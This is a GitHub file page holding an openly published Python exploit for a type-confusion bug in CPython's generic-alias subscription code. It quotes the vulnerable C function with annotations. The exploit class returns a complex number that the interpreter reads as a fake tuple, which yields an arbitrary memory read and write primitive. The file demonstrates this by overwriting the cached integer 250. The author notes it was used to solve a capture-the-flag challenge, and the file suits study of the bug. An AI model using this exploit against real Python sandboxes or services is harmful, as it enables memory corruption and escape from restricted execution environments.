-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathga_subscr_bug.py
More file actions
110 lines (93 loc) · 3.77 KB
/
ga_subscr_bug.py
File metadata and controls
110 lines (93 loc) · 3.77 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
"""
Author: @Nico-Posada
Bug Credits: @Nico-Posada
"""
# TLDR: Abuse type confusion bug where it assumes any value we return is a tuple without doing checks
# Tested to work on 3.13.0, 3.13.1 (Patched in 3.13.8/3.14.0)
# Fun fact, this is the bug I used to solve Paper Viper from KalmarCTF 2025 (probably a bit overkill ngl)
# https://github.com/kalmarunionenctf/kalmarctf/tree/main/2025/misc/paper-viper
# Here is the vulnerable code as of 3.13.1
# https://github.com/python/cpython/blob/v3.13.1/Objects/genericaliasobject.c#L433-L537
"""
PyObject *
_Py_subs_parameters(PyObject *self, PyObject *args, PyObject *parameters, PyObject *item)
{
/* snip */
for (Py_ssize_t iarg = 0, jarg = 0; iarg < nargs; iarg++) {
PyObject *arg = PyTuple_GET_ITEM(args, iarg);
if (PyType_Check(arg)) {
PyTuple_SET_ITEM(newargs, jarg, Py_NewRef(arg));
jarg++;
continue;
}
int unpack = _is_unpacked_typevartuple(arg); // <--- checks if __typing_is_unpacked_typevartuple__ is True
if (unpack < 0) {
Py_DECREF(newargs);
Py_DECREF(item);
return NULL;
}
PyObject *subst;
if (PyObject_GetOptionalAttr(arg, &_Py_ID(__typing_subst__), &subst) < 0) { // <--- grabs func here
Py_DECREF(newargs);
Py_DECREF(item);
return NULL;
}
if (subst) {
Py_ssize_t iparam = tuple_index(parameters, nparams, arg);
assert(iparam >= 0);
arg = PyObject_CallOneArg(subst, argitems[iparam]); // <--- calls function here, `arg` gets set to whatever we return
Py_DECREF(subst);
}
else {
arg = subs_tvars(arg, parameters, argitems, nitems);
}
if (arg == NULL) {
Py_DECREF(newargs);
Py_DECREF(item);
return NULL;
}
if (unpack) { // <--- this must be true so we can access the vulnerable section which is why we set __typing_is_unpacked_typevartuple__
jarg = tuple_extend(&newargs, jarg,
&PyTuple_GET_ITEM(arg, 0), PyTuple_GET_SIZE(arg)); // <--- this here assumes `arg` is a tuple without doing any checks
Py_DECREF(arg);
if (jarg < 0) {
Py_DECREF(item);
return NULL;
}
}
else {
PyTuple_SET_ITEM(newargs, jarg, arg);
jarg++;
}
}
Py_DECREF(item);
return newargs;
}
"""
from common import evil_bytearray_obj, check_pyversion, i2f
check_pyversion(introduced_ver=(3, 11, 0), patched_ver=(3, 13, 8))
# so to exploit this, we can use the `complex` type which allows setting an arbitrary tuple size and
# an arbitrary ob_item[0] when abusing type confusion bugs like this
class evil:
__typing_is_unpacked_typevartuple__ = True
def __typing_subst__(self, _unused):
fake_ob_size = i2f(1) # set ob_size to 1 so it only extends the args with our fake ba obj
fake_ob_item = i2f(obj_addr) # will be interpreted as ob_item[0]
# doing this is the same as `return complex(fake_ob_size, fake_ob_item)`
return fake_ob_size + 1j * fake_ob_item
# see ./common/common.py for evil bytearray obj explanation
fake_obj, obj_addr = evil_bytearray_obj()
mem = list[evil()]["anything"].__args__[0]
# NOTE: You may have noticed that the CPython code uses normal getattr funcs which
# means you can pull off this setup with something like:
"""
i2f = lambda num: 5e-324 * num
evil = lambda: ...
evil.__typing_is_unpacked_typevartuple__ = True
evil.__typing_subst__ = lambda _unused: i2f(1) + 1j * i2f(id(fake_ba) + bytes.__basicsize__ - 1)
mem = list[evil]["anything"].__args__[0]
"""
print(type(mem))
print(hex(len(mem)))
mem[id(250) + int.__basicsize__] = 100
print(250) # => 100